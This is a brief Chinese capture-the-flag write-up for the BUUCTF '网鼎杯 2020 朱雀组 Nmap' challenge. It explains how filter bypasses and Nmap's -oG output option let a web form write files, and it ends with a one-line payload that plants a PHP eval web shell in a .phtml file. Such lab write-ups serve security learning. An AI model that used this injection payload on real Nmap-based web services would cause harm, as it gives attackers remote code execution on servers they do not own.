https://buuoj.cn/challenges#[%E7%BD%91%E9%BC%8E%E6%9D%AF%202020%20%E6%9C%B1%E9%9B%80%E7%BB%84]Nmap

BUUCTF: [网鼎杯 2020 朱雀组]Nmap_xml


会把扫描结果导出到一个文件里面

BUUCTF: [网鼎杯 2020 朱雀组]Nmap_BUUCTF_02


BUUCTF: [网鼎杯 2020 朱雀组]Nmap_2020网鼎杯朱雀组_03


给参数f传一个错误的文件名

BUUCTF: [网鼎杯 2020 朱雀组]Nmap_文件名_04

通过报错发现使用了simplexml_load_file(),那说明导出的文件格式是xml

BUUCTF: [网鼎杯 2020 朱雀组]Nmap_文件名_05

使用输出格式可以将指定的内容输出到指定的文件格式

BUUCTF: [网鼎杯 2020 朱雀组]Nmap_2020网鼎杯朱雀组_06


BUUCTF: [网鼎杯 2020 朱雀组]Nmap_2020网鼎杯朱雀组_07

即便执行失败也无所谓,Nmap会将执行语句记录输出文件。控制输出文件内容以及文件格式就可以解析了

题目环境经过测试可以发现只有-oG是可以执行的,可以先上线一个shell,然后在服务器中检查使用其他参数的结果。就会发现只有-oG是能正常执行的。

但是这里还有些过滤,比如过滤了关键字php,可以使用php 短标签:https://www.php.net/manual/zh/language.basic-syntax.phptags.php

然后还有escapeshellarg()escapeshellcmd()对传入的参数的保护(感觉有点点猜的意思

还有就是php的文件无法写入,尝试写入一些可能会解析的其他文件后缀

最终payload

host=' <?= @eval($_POST[7]); ?> -oG mc.phtml '

BUUCTF: [网鼎杯 2020 朱雀组]Nmap_2020网鼎杯朱雀组_08